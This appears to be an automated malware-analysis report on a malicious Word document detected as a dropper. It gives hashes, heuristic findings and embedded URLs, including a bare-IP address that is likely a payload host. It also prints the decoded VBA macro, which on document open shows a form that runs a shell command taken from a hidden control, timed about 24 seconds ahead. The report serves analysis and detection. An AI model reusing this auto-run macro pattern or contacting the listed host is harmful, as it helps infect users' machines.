Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4963dcf6b324597…

MALICIOUS

Office (OLE)

82.0 KB Created: 2019-06-19 16:14:00 Authoring application: Microsoft Office Word First seen: 2021-04-10
MD5: 9facb9d7d8a20ac543cb8d2fd1db1008 SHA-1: 8590a99a7e9ba76a9343cd8c93de88db9f594dfd SHA-256: c4963dcf6b32459740f6a3d3b4d06d9dc06f15087ca01775956df36206543301
190 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7000390-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7000390-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Replace(App2.T3.Text, "77:77", time)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName App1, "Show", VbMethod
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://54.38.127.28/pm3 In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1216 bytes
SHA-256: 742b13b84b5c15788481b8e63dde0ee3381e3a197fcb9f81e9cad48084e0c9bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
CallByName App1, "Show", VbMethod

End Sub

Attribute VB_Name = "App2"
Attribute VB_Base = "0{E2A5AF3A-8C6D-492F-9435-3D7792F1FACF}{2F2E0084-A2B2-4B5C-AEFB-C83D87F7CE1A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "App1"
Attribute VB_Base = "0{D9C40F24-AE9F-4954-9538-B283F374FCF4}{2B66A24D-892B-4081-A08B-99BF8F6C4A1F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
On Error Resume Next
Dim time
time = Format(Now + TimeSerial(0, 0, 24), "hh:mm")


Shell Replace(App2.T3.Text, "77:77", time)
Unload Me
End Sub

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